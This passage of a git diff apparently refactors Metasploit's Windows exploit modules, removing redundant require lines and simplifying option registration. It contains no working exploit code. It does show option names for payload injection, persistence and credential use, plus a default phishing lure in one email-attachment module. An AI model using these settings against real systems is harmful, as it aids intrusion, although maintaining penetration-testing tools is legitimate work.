a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index 70fda81b64..960129a57c 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb index 939ff2398b..fbc5feb86e 100644 --- a/modules/exploits/windows/local/capcom_sys_exec.rb +++ b/modules/exploits/windows/local/capcom_sys_exec.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index aaad4b7557..b0e5676c8f 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/powershell' require 'msf/core/exploit/exe' diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index e237d0b057..c757d35b39 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking diff --git a/modules/exploits/windows/local/ipass_launch_app.rb b/modules/exploits/windows/local/ipass_launch_app.rb index 566b014ddf..d50a3b4ec6 100644 --- a/modules/exploits/windows/local/ipass_launch_app.rb +++ b/modules/exploits/windows/local/ipass_launch_app.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index 1eeeb00c31..80c7d62e0d 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']), OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index d81643ead0..58dd9eff6b 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/local/windows_kernel' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index 378bcc4c4c..dc578af7b6 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -3,11 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'msf/core/exploit/exe' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb index 3d5ffee5e5..e5f05e3ab0 100644 --- a/modules/exploits/windows/local/ms10_092_schelevator.rb +++ b/modules/exploits/windows/local/ms10_092_schelevator.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'zlib' require 'msf/core/exploit/exe' diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index dee5cdf47e..bcbb792c7c 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/local/windows_kernel' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking # Average because this module relies on memory corruption within the diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index c0a904dabd..a9a246f431 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' require 'msf/core/post/file' diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb index b029dd5177..31e234660b 100644 --- a/modules/exploits/windows/local/ms13_053_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 234fdec622..35db160bb0 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb index dae1068507..bb56402d01 100644 --- a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb +++ b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb index 62d6b47a1d..fcaf812c21 100644 --- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index 55b573a0a2..ac2c13d2da 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb index 894f36eda0..5ced055644 100644 --- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/local/windows_kernel' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index b617ac53c3..161e0f4ea1 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 6945bc318c..4af6f511d4 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 70fb3872d9..b0a9db9da2 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking diff --git a/modules/exploits/windows/local/ms16_016_webdav.rb b/modules/exploits/windows/local/ms16_016_webdav.rb index e8bf801204..e95e5addf4 100644 --- a/modules/exploits/windows/local/ms16_016_webdav.rb +++ b/modules/exploits/windows/local/ms16_016_webdav.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb index 403c5bf0c5..5a2a7b4365 100644 --- a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb +++ b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb @@ -3,11 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload_generator' require 'msf/core/exploit/powershell' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -70,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Local # How long until we DELETE file, we have a race condition here, so anything less than 60 # seconds might break OptInt.new('TIMEOUT', [false, 'Execution timeout', 60]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index 2e3687caac..78c7d0f5f6 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/local/windows_kernel' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index 8367ad7383..2ffeacf1d9 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index 93aa6140ba..302e5d54e8 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index 448857a897..2a43eccd1d 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' class MetasploitModule < Msf::Exploit::Local diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index 893cec7675..ec5f96ecf8 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/process' diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index 272bfd4771..6902a79707 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local @@ -56,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Local OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll', ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]), - ], self.class) + ]) end def get_path() diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index b2b10b23bc..4483519d1b 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local [ OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index ff010ea276..040ec21f9f 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' @@ -59,14 +57,14 @@ class MetasploitModule < Msf::Exploit::Local [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]), OptString.new('PATH', [false, 'Path to write payload (%TEMP% by default).', nil]) - ], self.class) + ]) register_advanced_options([ OptBool.new('HANDLER', [false, 'Start an exploit/multi/handler job to receive the connection', false]), OptBool.new('EXEC_AFTER', [false, 'Execute persistent script after installing.', false]) - ], self.class) + ]) end # Exploit method for when exploit command is issued diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb index b3258d5b41..60233534e8 100644 --- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb +++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Local diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb index 462bf4a713..9df8274eb2 100644 --- a/modules/exploits/windows/local/powershell_remoting.rb +++ b/modules/exploits/windows/local/powershell_remoting.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -54,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index ef84e613ad..a82f26b3bc 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking @@ -71,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Local # TODO: remove this when we've sorted out the WsfDelay issue. register_options([ OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/ps_persist.rb b/modules/exploits/windows/local/ps_persist.rb index 37a2bd8d8c..42fcabfd34 100644 --- a/modules/exploits/windows/local/ps_persist.rb +++ b/modules/exploits/windows/local/ps_persist.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/services' require 'msf/core/post/windows/powershell' require 'msf/core/exploit/powershell/dot_net' @@ -58,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Local OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]), OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]), - ], self.class) + ]) register_advanced_options( [ @@ -69,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('PASSWORD', [false, 'Windows user password - cleartext']), OptString.new('DOMAIN', [false, 'Windows domain or workstation name']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb index 24807416dc..cdfc58ecf7 100644 --- a/modules/exploits/windows/local/ps_wmi_exec.rb +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/post/windows/powershell' require 'msf/core/post/windows/priv' require 'msf/core/exploit/powershell/dot_net' @@ -49,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('PASSWORD', [false, "Password to authenticate with"]), OptString.new('DOMAIN', [false, "Domain or machine name"]), - ], self.class) + ]) register_advanced_options( [ @@ -60,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Local false ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb index 746a8bdc81..87d7e23654 100644 --- a/modules/exploits/windows/local/pxeexploit.rb +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/tftp' require 'rex/proto/dhcp' @@ -55,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ]) - ], self.class) + ]) register_advanced_options( [ @@ -66,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index e9ccc8bd79..50e9562021 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' require 'msf/core/post/file' @@ -55,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Local [false, 'Create a resource file for cleanup', true]), OptInt.new('SLEEP_TIME', [false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]), - ], self.class) + ]) end def generate_payload_blob diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index de59f384fb..2bd49c54a5 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -3,10 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::Windows::Runas include Msf::Post::Windows::Priv @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]), OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]), OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index f5c11bf244..edb51ec395 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local @@ -49,14 +47,14 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('REXENAME', [false, 'Name of exe on remote system']), OptString.new('RTASKNAME', [false, 'Name of task on remote system']), OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%']) - ], self.class) + ]) register_advanced_options( [ OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), OptString.new('XPATH', [false, 'XPath query']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index b5b86e92a9..342f586517 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 9ac1b902f0..63453c3365 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb index 067743d066..420422a1c4 100644 --- a/modules/exploits/windows/local/virtual_box_guest_additions.rb +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/local/windows_kernel' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/virtual_box_opengl_escape.rb b/modules/exploits/windows/local/virtual_box_opengl_escape.rb index 16168cd4aa..63d017ef2c 100644 --- a/modules/exploits/windows/local/virtual_box_opengl_escape.rb +++ b/modules/exploits/windows/local/virtual_box_opengl_escape.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index ae7a9a89ed..616f4d2656 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Local OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index 8418d0b43b..90ae0bbbcb 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -3,10 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' -require 'rex' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/windows/lotus/domino_http_accept_language.rb b/modules/exploits/windows/lotus/domino_http_accept_language.rb index d7aa39f5d0..52603ee01e 100644 --- a/modules/exploits/windows/lotus/domino_http_accept_language.rb +++ b/modules/exploits/windows/lotus/domino_http_accept_language.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index 15c6f3465b..cf99b761aa 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -86,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(25), OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']), OptString.new('MAILTO', [true, 'Valid Lotus Domino mailbox account', '']) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb index 0152389d2e..73c74abd1e 100644 --- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb +++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1533), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb index c81eba5b73..ed4dd82af8 100644 --- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb +++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # needs client interaction and permanent listener @@ -71,12 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote [false, 'Sets the attachment file name', 'data.lzh']), OptString.new('MESSAGE', [false, 'Email message text', 'Important message, please view attachment!']) - ], self.class) + ]) register_advanced_options( [ OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]), OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/lpd/hummingbird_exceed.rb b/modules/exploits/windows/lpd/hummingbird_exceed.rb index 783fc8ec7c..28b92a39c5 100644 --- a/modules/exploits/windows/lpd/hummingbird_exceed.rb +++ b/modules/exploits/windows/lpd/hummingbird_exceed.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'May 27 2005')) - register_options( [ Opt::RPORT(515) ], self.class ) + register_options( [ Opt::RPORT(515) ]) end def exploit diff --git a/modules/exploits/windows/lpd/niprint.rb b/modules/exploits/windows/lpd/niprint.rb index aa57ae65e4..ded97806d9 100644 --- a/modules/exploits/windows/lpd/niprint.rb +++ b/modules/exploits/windows/lpd/niprint.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(515) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/lpd/saplpd.rb b/modules/exploits/windows/lpd/saplpd.rb index e370868b86..263b24e74f 100644 --- a/modules/exploits/windows/lpd/saplpd.rb +++ b/modules/exploits/windows/lpd/saplpd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git 